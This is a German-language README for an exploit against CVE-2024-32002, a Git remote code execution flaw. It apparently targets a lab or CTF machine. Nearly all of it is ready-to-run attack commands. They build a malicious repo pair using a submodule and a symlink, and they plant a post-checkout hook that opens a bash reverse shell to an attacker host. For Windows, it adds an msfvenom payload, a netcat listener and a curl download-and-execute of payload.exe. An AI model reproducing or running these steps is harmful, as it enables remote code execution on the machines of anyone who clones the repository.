
Exploit für CVE-2024-32002, eine Git-RCE-Schwachstelle, die rekursives Submodul-Klonen und Symlinks verwendet, um beliebige Befehle auf Windows- und Linux-Zielen auszuführen.
###################### GIT RCE CVE-2024-32002 ######################
Beschreibung
| CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/
|
Exploit
| Zunächst müssen Sie die Repos "calledrepo" und "commandrepo" auf Git erstellen. | Das Opfer wird später das calledrepo mit "git clone --recursive calledrepo.git" aufrufen, das zu commandrepo weiterleitet und das Hook-Skript ausführt. | Diese Bash-Reverse-Shell-Payload funktioniert auf WINDOWS und LINUX. | | Ich verwende die Git-CLI in Docker, da ich keine Probleme mit meiner System-Git-Konfiguration haben möchte, aber das ist optional.
.. code-block:: bash
docker run --rm -it debian
apt update apt install -y git
| Git konfigurieren
.. code-block:: bash
git config --global user.email "whatever" git config --global user.name "whatever" git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main
| Variablen setzen
.. code-block:: bash
GIT_IP="10.129.19.99" GIT_USER="charles" GIT_PORT="3000" LHOST="10.10.14.113" LPORT="4444"
| Repos füllen
.. code-block:: bash
cd /tmp rm -rf calledrepo commandrepo
git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" cd commandrepo mkdir -p y/hooks cat <y/hooks/post-checkout #!/bin/bash /bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" git push cd ..
git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git" cd calledrepo git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x git commit -m "add-submodule" printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" git push cd ..
echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"
|
Windows
| Nach der Ausnutzung unter Windows erhalten Sie eine Git-Bash, die einige Probleme/Einschränkungen aufweist: |
.. code-block:: bash
$ C:\windows\System32\whoami.exe /all bash: C:windowsSystem32whoami.exe: command not found
| Wenn Sie aus dieser Umgebung ausbrechen möchten, können Sie eine neue Reverse-Shell aufrufen. |
.. code-block:: bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe sudo cp payload.exe /var/www/html sudo nc -nvlp 443 -s 10.10.14.113
.. code-block:: bash
cd ~/ curl http://10.10.14.113/payload.exe -O payload.exe ./payload.exe
|
| Vergessen Sie nicht, dass die Git-Bash möglicherweise eine höhere Pfadpriorität als Windows-Befehle hat. | Sie können den Windows-Befehl mit dem vollständigen Pfad ausführen. |
.. code-block:: bash
C:\windows\System32\whoami.exe /all
|